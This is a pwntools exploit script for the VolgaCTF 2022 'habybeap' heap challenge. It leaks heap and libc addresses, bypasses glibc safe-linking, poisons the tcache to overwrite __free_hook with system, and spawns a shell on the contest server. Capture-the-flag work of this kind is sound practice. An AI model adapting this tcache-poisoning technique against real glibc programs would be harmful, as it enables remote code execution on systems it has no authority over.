1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| from pwn import * filename="./habybeap" libc_name="./libc.so.6"
io = remote('habybeap.q.2022.volgactf.ru', 21337) context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux','split','-hp','60']
def add(index,choice,con): io.recvuntil('choice>> ') io.sendline('1') io.recvuntil('index>> ') io.sendline(str(index)) io.recvuntil('smol >> ') io.sendline(str(choice)) io.recvuntil('data>> ') io.send(con)
def delete(index): io.recvuntil('choice>> ') io.sendline('3') io.recvuntil('index>> ') io.sendline(str(index))
def edit(index,content): io.recvuntil('choice>> ') io.sendline('2') io.recvuntil('index>> ') io.sendline(str(index)) io.recvuntil('data>> ') io.send(content)
def show(index): io.recvuntil('choice>> ') io.sendline('4') io.recvuntil('index>> ') io.sendline(str(index))
def debug(): cmd = "" cmd +="set debug-file-directory /home/nicholas/glibc-all-in-one/libs/libc6_2.33-0ubuntu5_amd64/.build-id\n" cmd += "brva 0x126f\n" gdb.attach(io,cmd) show(0)
add(0,0,'aa') add(1,1,'bb')
add(3,1,(p64(0)+p64(0x21))*7) add(4,1,(p64(0)+p64(0x21))*7) add(5,1,(p64(0)+p64(0x21))*7) add(6,1,(p64(0)+p64(0x21))*7) add(7,1,(p64(0)+p64(0x21))*7) add(8,1,(p64(0)+p64(0x21))*7) add(9,1,(p64(0)+p64(0x21))*7) delete(0) show(0) tcache_key = u64(io.recvuntil('\n',drop=True).ljust(8,b'\x00')) success("tcache key: " + hex(tcache_key)) heap_base = tcache_key << 12 success("heap_base: " + hex(heap_base)) add(2,0,p64(0)*13+p64(0x441))
delete(1) edit(1,p8(0xff)) show(1)
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) libc_info = libc_info - 0xff success("libc_info: " + hex(libc_info)) libc_base = libc_info - 0x1e0c00 success("libc_base: " + hex(libc_base))
delete(4) show(4) tcache_key2 = u64(io.recvuntil('\n',drop=True).ljust(8,b'\x00')) success("tcache key2: " + hex(tcache_key2)) delete(5) cur_heap = heap_base+0x0004c0
edit(5,p64((libc.symbols['__free_hook']+libc_base)^tcache_key2)[0:6]) add(10,1,'/bin/sh\x00') success("free_hook: " + hex(libc.symbols['__free_hook']+libc_base)) add(11,1,p64(libc.symbols['system']+libc_base)) delete(10)
io.interactive()
|